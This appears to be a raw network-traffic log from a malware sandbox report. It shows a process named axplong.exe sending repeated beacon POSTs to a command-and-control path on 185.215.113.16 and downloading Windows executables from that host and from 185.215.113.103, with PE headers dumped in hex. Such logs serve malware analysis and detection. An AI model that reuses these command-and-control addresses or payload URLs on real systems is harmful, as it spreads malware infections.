Sep 27, 2024 16:19:02.943978071 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49632	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:39.685292006 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000342001&unit=246122658369
Sep 27, 2024 16:18:40.427467108 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:40.678072929 CEST	53	OUT	GET /inc/cccc2.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 16:18:40.908976078 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:40 GMT Content-Type: application/octet-stream Content-Length: 367616 Last-Modified: Wed, 25 Sep 2024 17:02:23 GMT Connection: keep-alive ETag: "66f4421f-59c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b1 ea f3 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 3e b1 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e8 b0 05 00 53 00 00 00 00 c0 05 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 0c 00 00 00 b0 af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf> @ `S H.textD `.rsrc@@.reloc@B H_dKSk+GQJnjIk)E&E8_b$(#?o8b9~V4v1uT0^.Lb;5H^1\|<`y54f~Y,S,WpS[6NkE^i&?on~!6AAJnxTHazcWng#u>A6KqcR9L;zs<j\|I:wH$z]MHChDy>olMA]~o\Z1D#KhyOvEMA9YAe8E2&
Sep 27, 2024 16:18:40.909209013 CEST	1236	IN	Data Raw: 5f b2 e2 9d d3 f6 eb c2 dc 56 a3 48 16 49 ce c2 e7 44 23 b3 d5 f1 18 07 b8 80 23 4d f5 4c 71 c4 b5 4c 44 23 80 a3 7b 8a c2 54 e4 8e 38 dc 31 70 ed c2 7b 6d 1b 91 05 b2 97 b2 49 76 2f 3a 82 93 35 37 38 4b e0 91 9d d7 e2 a9 1d 71 01 a1 d6 21 82 63 Data Ascii: _VHID##MLqLD#{T81p{mIv/:578Kq!cWZU6)\|Auyfd=N6B>djAd{pWs[)@LYD5i?n,*2mm69zP:?y@GC70t+nV-<SE
Sep 27, 2024 16:18:40.909221888 CEST	448	IN	Data Raw: 92 bc ef ab eb 24 7a 09 c2 dd 11 74 2a 27 b8 ca 2b db 3a 62 8f 55 0a 2c 13 fa 65 11 f0 a6 cf d4 8e eb ac 29 86 46 b7 69 5e 49 f0 74 3b 63 30 b9 8d 07 7c a5 9e 2c c9 af 93 04 f4 bd 92 68 46 44 c8 f5 2a ec 27 d3 ed 98 b6 40 b3 d5 22 48 6f 4c 6e 8f Data Ascii: $zt'+:bU,e)Fi^It;c0\|,hFD'@"HoLnX`*%h@n635!Wg1Rx`y:'[2{tA\|(]B2Z]>B\|2n;!DWYUXlOHttA8Z\|/yPiK6DsQvm
Sep 27, 2024 16:18:40.909935951 CEST	1236	IN	Data Raw: e8 87 2d cd 55 8c f5 78 a0 05 e5 45 cb 1e 41 d4 a3 e0 e4 d5 29 f4 da 03 1a 74 22 af 90 7d 1f 5e 72 1b 0b d3 6c ba 7e 3c 1d fd 80 da d4 29 d8 c1 dc 25 9a c1 4c f6 d1 d4 7e d0 7f a7 4e bd fa fd 1a 11 f7 a4 7a a3 40 d7 f6 be 21 59 2e 44 79 e0 fb d3 Data Ascii: -UxEA)t"}^rl~<)%L~Nz@!Y.Dyx $((xJ8HMg\3To\e29AJFfpW60.h1/Nq_Z@V)K1H5eN<{-HJz,oFvf[u4r&5}
Sep 27, 2024 16:18:40.909948111 CEST	1236	IN	Data Raw: cd 9d 1c 8e bc c4 c7 8a b3 d1 f5 c0 da 45 9f c5 1a 12 be 10 38 af 41 aa ed 26 29 bc 65 e4 35 93 1c 03 e8 e9 ef 51 ac 09 eb 53 a4 89 df 0c 69 00 76 cb 88 04 db 01 2a ef a4 18 5c f5 9c 30 c1 06 05 8f e4 a3 21 b8 6b 2d b0 83 d4 24 13 68 db 19 45 a1 Data Ascii: E8A&)e5QSiv*\0!k-$hE_X/W&yE4e2'JzLnTuo5Aaa#7/+h34s@Oo^~28+k}j;:qDU9Il#C}F1AG24
Sep 27, 2024 16:18:40.911077023 CEST	1236	IN	Data Raw: 55 7e 87 83 8b 20 42 77 0c de 74 2f 3e 11 a3 10 ff 02 0f 9f 57 af 09 fd fa 7c e9 62 ab a4 14 e2 77 8c 46 8c d6 ef 5b ef 62 1b 17 55 8b 0d 49 2c 83 41 97 d3 20 50 25 2b f5 a0 6e 31 df 6e bb 09 75 da 65 cd eb b4 ee 48 f4 f9 e7 2f 55 75 e0 4b 33 23 Data Ascii: U~ Bwt/>W\|bwF[bUI,A P%+n1nueH/UuK3#0hW)G~fLru`KG1HJ`?[U65Ek"o>$1.3FT?*U95GG/_CI-/l,?ZUiM'{%+A`fuv
Sep 27, 2024 16:18:40.911088943 CEST	1236	IN	Data Raw: d5 3f c0 a2 ba 02 e3 e3 ac ca fe 58 8e a7 dc 65 5c d6 ca 02 e4 76 b8 21 bb 83 c5 b9 3a 5c 2c d7 81 f2 98 2b 29 87 f2 f7 99 ff dc 0d 55 b1 31 f3 6d 76 17 e2 2a a9 8f a1 b3 65 46 a0 bf a6 2b d5 da 7d eb 07 a6 a9 5e e3 76 a0 0d 24 a1 44 55 00 0b 1b Data Ascii: ?Xe\v!:\,+)U1mv*eF+}^v$DUU5i!gW=AvXLR9]OYF90/3s4DR6u),dzqdun0_2mj>zdt]sf1rfXuhsFDRv%9<ED
Sep 27, 2024 16:18:40.911098957 CEST	296	IN	Data Raw: a3 be 59 0b 6d 77 bb 6b 69 c4 de a7 04 97 91 fe 6b 76 42 43 e9 0c 62 b3 b9 97 75 11 4a 20 a4 7c da 77 e5 e0 fb cd c1 2d 7c cc 97 73 dc ee 0e 79 6b 21 a9 b1 5b 10 c8 d7 09 f3 06 be a2 99 c7 0f 47 3c 18 fa 2b 6b 77 d4 a8 e6 3b 14 81 25 f6 08 00 36 Data Ascii: YmwkikvBCbuJ \|w-\|syk![G<+kw;%6bA44sfNe!ff%stB LVU(-t#lo_xS2$/x0boD$Ap>aO[I~P!7,Xw-A{ hx]&+$j+Bb
Sep 27, 2024 16:18:40.912131071 CEST	1236	IN	Data Raw: 0c 46 97 61 19 66 f1 7b 28 d8 d2 af 01 ba 4e 50 91 10 3d 8f 34 6d 6b 99 34 b9 0f 4b eb a6 9d 21 36 be bc 22 04 c5 10 c3 bd e1 d6 d5 88 3b fb a2 48 1f a5 d9 76 ca 06 00 1f e8 cd eb fd 11 81 16 cd 93 fc fe 3c 97 4e f7 38 0a 32 90 ec a5 9c 64 ff 59 Data Ascii: Faf{(NP=4mk4K!6";Hv<N82dY~jo:B)#1Yx/%?/=nAz'.Q7B9o:~qJtGJ=\2753},vbPT.w@N;!P88
Sep 27, 2024 16:18:40.912141085 CEST	1236	IN	Data Raw: 1f 75 a6 6c c2 da bd 6d dc 31 7a 2a 36 5c 99 99 93 62 a2 9b c9 21 ff 20 ad 1e 3b d5 e3 1d 5f 5f be ca 2c b0 41 29 e0 8a b1 57 ec f8 92 b7 cc 8b 21 13 8f 58 4a e3 d5 2a a4 e0 4b 23 d9 f4 79 1d 0d 15 24 d3 73 3e 78 4c 12 b4 98 a3 53 5c 4a 3f 30 d8 Data Ascii: ulm1z6\b! ;__,A)W!XJK#y$s>xLS\J?0Ere9qeh,ZnMEhw"u*GVZ-\pp}::il6HaA8D\R'nY:_DGVE4ZsXwFiEt;B\!`hr%&]f34J@6
Sep 27, 2024 16:18:40.913247108 CEST	1236	IN	Data Raw: eb d2 ba 30 0a 28 7a 62 2c d5 69 a0 6f 3d 09 e6 a5 d7 a0 c6 dc bc 9f 21 26 16 d1 73 cd 10 d3 44 93 f1 72 50 7f eb 51 87 f9 b5 42 e0 37 3c 9a 70 6f a9 dc ec f6 2b e0 af 53 7c 84 69 8f 56 34 d4 ff 42 6a 70 23 bb da bd 76 f9 8f c6 96 68 49 d6 50 dd Data Ascii: 0(zb,io=!&sDrPQB7<po+S\|iV4Bjp#vhIPECgu.j'#;3VC"/]M2F6?h[}`a9j*Qa~C`U6T]SU(yk-5uX(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49633	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:42.300302982 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Sep 27, 2024 16:18:42.981662035 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49634	185.215.113.103	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:43.067405939 CEST	57	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103
Sep 27, 2024 16:18:43.781603098 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:43 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 27 Sep 2024 13:51:59 GMT ETag: "1c9e00-6231a28b79a3f" Accept-Ranges: bytes Content-Length: 1875456 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2f ba f1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 6b 00 00 04 00 00 4b f9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL/f$@k@pkK@P%d% %(@.rsrc %8@.idata %8@ +%:@llbyxbem@P:<@vndwcpmt0kv@.taggant0@k"\|@
Sep 27, 2024 16:18:43.781614065 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:18:43.781625032 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:18:43.781836987 CEST	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:18:43.781847954 CEST	1236	IN	Data Raw: 06 3e f1 ec b9 8c 56 39 03 fe ac ac f9 5a 5b 89 8b 4d 2f d0 06 ad 75 e5 06 26 f8 56 47 00 82 b4 c1 0d c3 f7 26 c0 2b e7 69 65 ae cf 13 be e9 fe b5 94 11 13 08 3e 8d 03 8c 3e 74 5b 57 ff 0d 7c 3a 71 ce 00 52 a7 21 df 07 71 65 2b c2 80 27 3f 0d b1 Data Ascii: >V9Z[M/u&VG&+ie>>t[W\|:qR!qe+'? Ri9\|7Vtg;9g9_#75C)\|!Z~I^%'Sc1_P0R?,E7mBBLa\E+
Sep 27, 2024 16:18:43.781858921 CEST	1236	IN	Data Raw: b9 e0 b7 68 31 75 0b eb 6b 0f f5 5a 41 84 88 35 2f 74 a2 ef bc 54 40 c8 f6 fa ca 03 89 f3 15 6d 1a a1 36 ff ff df bf c2 0a 75 14 61 63 7c 76 e8 ff 64 ef b2 40 8f 0e 43 b4 9f bd 73 6a 97 89 f9 2e 53 f5 fa 51 6c db 6b e3 8e dd cb ff 27 ea 68 35 cf Data Ascii: h1ukZA5/tT@m6uac\|vd@Csj.SQlk'h5wP0;8#Le'<:\|g{kW2kR_>Q>r~"}Rs1e:~_Iy@>v;'zUwqj*)so^8u~CO=B,v
Sep 27, 2024 16:18:43.781869888 CEST	1236	IN	Data Raw: e3 e4 0e 06 bf 2d c2 08 6b 56 0b a3 13 57 09 f3 9f 4d ad 7b 40 f5 3c f8 8e b1 2b 7f 7a 85 a9 1a 0f 5f fb e2 83 58 17 df c2 49 4d 7b 3d 0a 26 47 3f 1d f5 56 7e 38 15 89 84 5f 21 95 4a 49 72 0a 17 6e 77 88 e1 db 91 3f 49 47 13 df 1a 58 0d 1b 8b c5 Data Ascii: -kVWM{@<+z_XIM{=&G?V~8_!JIrnw?IGX{\X)xIFPiC49g~=}v^ s`I`[_`Ie{QKa\iE`I>]99~X4yw`ZOeP?
Sep 27, 2024 16:18:43.781881094 CEST	1236	IN	Data Raw: 0c 45 bf 05 c6 31 98 f0 ca 69 8e 09 ca c1 ae 06 eb 02 42 b7 0a 58 0a 5c 2e 48 01 ee 0a d1 06 11 41 5e 21 67 ce cf 13 96 92 58 0d 97 7e 26 10 d8 96 e0 0b 02 41 b2 21 f0 c2 5f 4b 0f f7 e4 a6 87 8e 11 06 18 ab 50 a6 3b e6 e2 5a 04 c4 68 0c eb 66 87 Data Ascii: E1iBX\.HA^!gX~&A!_KP;Zhf4iOBI>~{Pr_)cX&]_W53mnA/iW44UBgx>~XIyG/5yYgIVNa
Sep 27, 2024 16:18:43.781892061 CEST	1236	IN	Data Raw: 92 78 8a d5 51 83 06 c7 3e e4 05 95 a3 45 06 23 e1 6b 24 3d 5e 23 90 a7 4a 58 fd 7a 3d 55 37 33 03 04 e5 fe 1b c5 db 4d 06 70 b5 1f d7 07 8d f0 12 e1 95 55 a0 31 c1 48 0b d1 26 67 1b 5e 56 6c 42 d3 95 27 3e 19 3e 87 06 5d bf 68 2d d5 7d f0 e3 34 Data Ascii: xQ>E#k$=^#JXz=U73MpU1H&g^VlB'>>]h-}4j`O5CL%2"P2X>nTs]}P;~+<Ymn3UBv,uAX~@!F_R`)&qrI&R+
Sep 27, 2024 16:18:43.781903982 CEST	552	IN	Data Raw: 30 3d f1 e9 1f 99 0a f0 63 50 2a 3e 36 23 ab a7 3a 58 9d 7b 3d 65 3a 4f 1b cf 95 b5 1b d5 0c 5b 30 a1 f9 03 53 e1 06 a3 7e 5e 6b f8 0c 95 fb 73 7a c5 06 37 e0 17 24 42 ea a4 55 15 d3 50 5d f3 de db 06 6b da 7f 06 63 13 e2 09 23 64 86 0a 07 d3 86 Data Ascii: 0=cP*>6#:X{=e:O[0S~^ksz7$BUP]kc#dW<eP,=@<%s'}&wA-Xfg&aaFPTsOq\\|21^aHUI}{=?3u5-,@Z,G~ABXz=qB
Sep 27, 2024 16:18:43.786446095 CEST	1236	IN	Data Raw: 20 bc 94 e2 36 1c f7 4a 12 5e 95 e8 26 55 a6 02 be c2 f2 3a f1 fb e9 ea b3 2e c2 f2 12 d8 c8 b4 1a 69 b2 ec 19 c6 ea fe f2 b3 bf 1a 56 9b ec 56 e2 10 3e af 09 62 46 03 6b cb 9e 26 fd eb 02 2f 38 81 72 a8 97 ad ad ab 12 80 94 97 7f fc 29 a8 ac 99 Data Ascii: 6J^&U:.iVV>bFk&/8r)KC=L#^+1w~IXCj)x>,WtB>)#Cy:4rwC#x+?>v7-wa"(U}SCk4cul9*hFi@MP"n5+}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49636	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:46.509418964 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000354001&unit=246122658369
Sep 27, 2024 16:18:47.159497023 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49637	185.215.113.103	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:47.341969013 CEST	56	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.103
Sep 27, 2024 16:18:47.915018082 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:47 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 27 Sep 2024 14:10:49 GMT ETag: "1d6400-6231a6c1293ff" Accept-Ranges: bytes Content-Length: 1926144 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPL@L$m@Wk7LT7L @.rsrc@.idata @ @+@xmjcxhmwP1J@lqsidhwe@L>@.taggant0PL"B@
Sep 27, 2024 16:18:47.915030956 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:18:47.915043116 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:18:47.915060997 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2024 16:18:47.915074110 CEST	1236	IN	Data Raw: 20 8e 09 bb 75 16 b7 81 28 af d7 dd da ab 3b d2 05 50 7f 65 2f 4d 3f 4e fa a8 46 36 f8 2c 58 45 1e fd 47 92 3a f9 65 01 a5 4e 48 c2 89 a6 aa d2 24 2d bb 26 e9 c4 06 f7 25 9f 8a d0 f7 6c 48 0a ec 9d e6 c2 85 05 6a 2b ae 85 9b f6 e9 0b bb d4 e5 51 Data Ascii: u(;Pe/M?NF6,XEG:eNH$-&%lHj+Qy;WE*rvda'Ob?0B5y,HEk&(sc:l'7aLYXACne!;W#8mO[hW%Gb>
Sep 27, 2024 16:18:47.915085077 CEST	620	IN	Data Raw: 3f 0d 79 ce 4d 9e ba 76 c2 1d 74 d2 45 31 bf 71 fa 1c 59 2a f2 6e 1f db b0 2f 9d 7e ed 05 3b f2 c9 80 da 52 e5 a6 8a d7 f6 84 39 51 ad ab a7 56 06 4d 7b dc e9 8c cf 8c 18 d1 8e d3 51 7d fe b6 d9 22 d8 da d1 89 bf 9b 8a d0 c7 fd 3f 2f 4f c6 b9 f0 Data Ascii: ?yMvtE1qYn/~;R9QVM{Q}"?/OGtKj%R/<M9X;s:u/4/%[aN#GDB:X~c-@)\|Pyw-47=3M>,e ~.zWuM`y
Sep 27, 2024 16:18:47.915096998 CEST	1236	IN	Data Raw: 71 82 b3 4a da 97 ba 81 b5 ff c7 79 a6 8c 9a 73 3a f2 4c 8d bc 6f 47 c1 cc fa 3f 01 43 86 4f ab 84 dd 6e b1 eb dc 3b bc e2 92 68 fb be be 5e 32 72 95 79 c5 4e a9 b7 06 8d 15 bd f6 f8 26 07 93 a1 8e 03 c5 7e fd 6e d2 e6 d5 c0 b3 1a 22 0d 15 f7 bf Data Ascii: qJys:LoG?COn;h^2ryN&~n"/2W?ygPj6XUv%k=B=4<*VWm]%rzsQQAY}K-F;"J8S=(VO='z%d[FOXB{9Y
Sep 27, 2024 16:18:47.915110111 CEST	1236	IN	Data Raw: 28 2d eb 24 e9 48 4b f8 41 14 99 71 22 7f e5 59 ea 2a 17 f9 ed fd 3f 05 0c d4 69 f7 aa 5d 34 e6 45 21 ac 01 e4 03 38 89 40 6d 36 9e bd f3 9f 65 71 86 6d c3 72 f5 7b 23 46 8c 1f 4d 4d 0e cd 5e d4 35 30 65 fe 16 17 37 d7 c4 65 f7 ba ae 12 9b 68 05 Data Ascii: (-$HKAq"Y?i]4E!8@m6eqmr{#FMM^50e7ehzyp&4PGc[Bx6z"VYSK\|Od05:?Ml8{9'[)AL' C~..VbdV L5\zZJ897^!J
Sep 27, 2024 16:18:47.915122986 CEST	1236	IN	Data Raw: 43 6b 7d b2 d3 ca c2 07 78 ce 89 9a 42 e5 f8 79 bd 0d 37 f4 fc 80 52 71 5e c5 11 b5 84 65 91 f6 c3 71 bc d7 ec 3d d9 a6 f7 59 82 bb df db d4 92 2e 89 3a 80 3f cc 3b 10 15 67 fa 2d b3 83 1f fd e8 b2 21 6e 1f d5 95 d1 b5 e4 27 b7 9d e7 b0 8c b8 50 Data Ascii: Ck}xBy7Rq^eq=Y.:?;g-!n'Pg;99fq1/dbB/A:\|Yo.ix{\2C/>C)dm ip}z*YUhVX8rv+AyE?3~}?4 z
Sep 27, 2024 16:18:47.915136099 CEST	1236	IN	Data Raw: 6b ab 4f fe e0 80 1f e7 1e f1 fd f4 cf 8b bb 04 10 8f a1 c3 4e 1e 07 9c f2 55 64 da 8d e8 40 be 96 18 00 dd 22 84 17 78 d6 cd 31 e4 ce ab aa e8 7f 8e e9 f3 59 75 67 a7 be 5c 2f da 79 91 4d c0 1d 4d 57 2a 9e 14 ca 49 53 8f e6 74 3a a1 dc c1 72 48 Data Ascii: kONUd@"x1Yug\/yMMW*ISt:rHykc%Ybst9?y\|rE{zL(_^:@_d!C(_d='?1d$vS=vviZIGH"{]
Sep 27, 2024 16:18:47.920057058 CEST	1236	IN	Data Raw: 00 91 7f fd 81 35 f9 35 af 1e f4 b4 b0 0d b7 ee cd e7 74 e6 e3 95 4c c5 79 07 53 34 71 33 13 72 ca 61 d4 0c 8e 5a 45 b8 35 78 62 26 bf 86 75 e1 c4 6e da dc 17 7a 91 2c ca 2b 65 6c 86 fd e3 ca f8 04 7b 03 eb 4a c6 9b 39 7b f0 fc 94 3f 58 bf c1 a9 Data Ascii: 55tLyS4q3raZE5xb&unz,+el{J9{?XgA6bpo@'qst=^/cr?"r..r<Pp7Z<q:z!=f^EbIbK:irP?}D6Rs;Qv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49640	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:51.031362057 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000355001&unit=246122658369
